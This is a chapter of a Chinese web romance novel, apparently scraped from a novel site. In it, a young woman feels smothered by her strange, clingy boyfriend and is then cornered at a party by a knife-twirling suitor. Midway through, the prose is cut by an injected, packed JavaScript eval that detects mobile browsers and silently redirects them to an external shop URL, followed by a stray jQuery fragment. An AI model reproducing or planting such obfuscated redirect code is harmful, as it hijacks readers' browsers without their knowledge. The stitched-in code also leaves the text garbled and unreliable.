文趣网 > 其他小说 > 女朋友每天都想摆脱我 > 42. 第 42 章
    池宵一度怀疑楚巽生病了,他的体温低得不正常,像一块捂不化的寒冰。

    哪怕来到了阳台上,烫得脸都红了,宽松的短袖后背、领口濡湿了大片,不舒服地贴在身上,池宵却还是暗暗叫冷。

    她努力了一会,画板上只有几条无力地作出的歪歪扭扭的线,她要是想动,环住她的手臂会圈得更紧,这怎么好画得下去。

    她忍不住了,小声抗议道:“我想自己坐着。”

    她被迫坐在楚巽的腿上作画,这样的姿势并不舒服,他的体温又很低,硌得她难受,偏偏这几天都要这样亲密地接触着。

    两人只是不到一周没有见面,他就变得格外粘她,做什么事都要跟着她。

    男人没听到她话一样,双手牢牢箍着她的腰,头抵在她的脑袋上,颇有分量地让池宵的身子跟着矮了一截。

    有种被当成阿贝贝的错觉。

    池宵很想再次抗议,头向右侧一扭与他对视,很快又骇然地低下头。

    她从不知道他会有这样可怕的目光,恶鬼似的要将她生吞活剥的目光。

    池宵认怂道:“其实我觉得这样也很好。”

    不好。

    一点都不好。

    她觉得一点都不正常。

    她很想知道他为什么哪里都不去,只待在她家。问他为什么不去上班,他说辞职了,问他为什么辞职,他就盯着她。

    下飞机回来的第一个晚上,池宵做了噩梦,梦里他质问她是不是出轨了,醒来他正坐在床边看着自己。

    这几天他的话都很少,但存在感很强烈,池宵只要抬头就会发现他在看自己。

    她有意不提那几天发生的事,而他也不会主动提起,起先她以为他并不在意,实际上他应当很在意?

    不知道是不是男鬼给她带来的阴影太大,她总能把楚巽看成男鬼,有时甚至觉得男鬼一直在自己身边,根本没死。

    池宵怀疑是那天晚上她中邪了,所以才胡思乱想,疑神疑鬼。但她确实快要被逼疯了,捱了两天后,还是找了借口离开楚巽的身边。

    她知道这不是楚巽的错,但在她恢复正常生活前,她暂时无法接受楚巽。

    池宵思来想去,决定去秦箐那里待几晚。

    秦箐今晚会在别墅开派对。

    她不好意思让秦箐为自己临时改变她的计划,拦住了她取消派对的行动,告诉她自己在楼上歇息就好了。

    晚上,池宵站在阳台前向下扫了一眼,男男女女踩在人工草地上嬉戏,几个男模在随着音乐律动跳舞。

    池宵瞪大了眼。

    她看见那几个男模在大家的起哄下,开始用腹肌打开饮料瓶,用臀部顶起易拉罐。

    下面的秦箐看见了偷看的她,朝她招了招手。

    她倏地拉上了窗帘,直挺挺地陷进了床里。

    过了一会她抬起头揉揉脸,拿起手机看了眼时间,想关手机但还是忍不住点开与楚巽的聊天界面。

    自从她跟楚巽说秦箐邀她在别墅多住几天后,他只回了一个好,再也没发来消息。

    他一向不会过问,但她还是会多想他是不是发现什么,可自己要是为此过度解释的话反而更容易引起怀疑。

    她在床上辗转反侧,慢慢困意涌上来,索性不想了,埋进枕头就催眠自己入睡。

    她是真睡过去了,以至于房间来了人也没察觉,直到她自己似乎有感应地睁开眼,打开了床前的台灯,借着暖黄的灯光,看到了站在床脚的项腾,他正转着一把蝴蝶刀,目光灼灼地看着她。

    项腾?!

    池宵一骨碌爬起来,身上穿的还是秦箐的真丝吊带睡衣,一张脸吓得雪白,似乎难以相信项腾会出现在这。

    她试图装傻道:“你可能走错房间了,但是你实在想睡这间房的话那我让给你好了。”

    一只脚已经探出被子准备逃跑下地,被男人一把握住,就像抓住跃出水面的鱼那样快而稳,池宵怎么也挣脱不开,脚心还被恶意一按,激得她脚背弓紧,发出短促的叫声。

    她没能忍住冲动。

    卧室内寂静得可怕,楼下还在躁动的音响勉强盖过池宵几欲跳出体外的心,悬在半空的手掌心虚地握紧,掌心火辣辣的,强调着她刚刚做了什么。

    不过片刻,项腾就侧着一张因惯性打偏的半张脸,仿佛没有感觉地拉扯着裙摆蕾丝锁边,状似贴心地替她遮掩,做完手却没有拿开,五指虚握进软肉里,大腿上轻易地瘪出他指印的窝坑,仿佛用软嫩的触感挽留他。

    俊美的半张脸上掌印明显无法忽略,他却表现出不符暴躁性格的体贴,池宵被他反常的举动吓到,不敢再动,眼眶都泛起泪意,这一幕被抬眼的项腾看见,连接着红色小拇指印的嘴角似乎扬了几个弧度,看不真切。

    打了人要哭的是自己,有够没用的。

    他一手撑在床头背,一手还搭在池宵的大腿,灰绿色的瞳孔俯视着池宵的脸颊。

    这是一种掌控的姿势,被圈在其中的人所有感官都来自于对方且不断放大。项腾似乎想用沉默来惩处她,直把她逼得受不住地从喉里发出一声无能的哭腔。

    “哭什么,挨打的又不是你。”

    项腾又道:“我在国外养过几只负鼠,它们害怕的时候会装死,我现在发现原来你的胆子要比那几只负鼠大。”

    绝对是被鄙视了。池宵抹掉眼尾的泪,假笑一下,俗话说伸手不打笑脸人,鄙视过她可就别打她了。

    她厚着脸皮道:“那它们还挺可爱的。”

    他微微俯下身,拉近了同她的距离。

    “我觉得你比它们更可爱,连逃跑都不知道跑远一点。”

    如果知道今晚项腾也会来的话,她是绝对不会来这里的。

    可秦箐不知道她和项腾之间的关系,而现实也不会让如果发生。

    池宵有意逃避这个话题,装傻道:“我刚刚看下面好像很热闹,要不你去下面玩吧,我这里一点意思都没有。”

    她同时悄悄挪动大腿想要藏进被子里,他炙热的掌心烫得她大腿发痛,和他的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919842|208770||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    视线一样难以忽视。

    项腾发现了她的小动作,抓紧她的大腿往怀里拽,惊得池宵险些撞到项腾的鼻梁,伸手扶住他的双臂才稳住身形,手心里湿腻的汗都蹭到了他的手臂上。

    项腾的火气早在她害怕的时候就烟消云散了,他还因此记起一段回忆——项腾在国外不仅养了几只负鼠还有两头花豹,每次把它们放在一起的时候,负鼠都会吓得装死,时间久了才情况缓和。

    “你现在要我顶着这张脸从你的房间出去见人吗。”

    她那一巴掌打得不轻,短时间内都很难消下去,项腾真要这样直接下去,她有苦也说不出。

    但池宵还以为他在生气,费尽心思地试图靠胡编乱造蒙混过关道:“有的时候我的身体会做出不受控制的反应,刚刚真的是意外,我没有想打你。”

    她是真的后悔打了那一巴掌,项腾脾气不好,容易冲动动手,他能忍到现在不打回来,恐怕是在酝酿着更恐怖的风暴。

    她觉得自己要完蛋了。

    项腾抓住她的手臂把她从床上扯下来,吓得她连叫了几声“等等”。

    “把你的衣服换好了,跟我一起下去。”

    那岂不是都知道她打项腾了吗。

    池宵苦着脸道:“项腾我真的很抱歉,我可以赔你医疗费和精神损失费,你别这样吓我好吗,我真的知道错了。”

    他被她的天真逗笑了,“打我的一般分为两种,一种是我会为他准备手术费,说不定那也是他的棺材费,还有一种我不会对她动手。”

    她下意识偏开与他的视线,不敢跟他对上目光。

    项腾接近她的目的一直很明显,他一直要的都是她。

    “那天晚上我告诉过你,我要你结束后给我答复,你该不会还没有跟你的男朋友分手。”

    池宵心头一跳,隐约有种不祥的预感。

    她不记得那天晚上发生什么事了,是真的一点都不记得,记忆像被人用橡皮擦擦掉了一块,连印子都没留下,她时常努力回想当时的情景,可大脑空空,什么也没能记起来。

    当时急着要逃,她忘了加乔老道的联系方式,不然问问乔老道还能有一点头绪。

    这会项腾忽然提起那时候的事,她直觉不妙,好似那天晚上她做了极其大胆过分的事。

    应当不会吧……

    池宵是藏不住事的性子,小表情生动又明显,惊慌失措的模样全都映入那双灰绿色的瞳孔里。

    他语气生硬了不少:“没分?”

    她目光闪烁,张了张嘴,发不出什么音,仿佛被掐住了咽喉,眼尾湿漉漉的。

    项腾不知道为什么又放过了她,狎昵道:“你怕我做什么,我喜欢你都来不及,怎么可能会伤害你。”

    但他的举止间已经有些不耐烦了,似乎在压抑着什么。

    “好了,把衣服换了,现在跟我出去。”

    池宵看了眼他半边还很红的巴掌,最终什么话也没敢说,如同任人搓圆捏扁的软团子,圆滚滚地去换衣服了。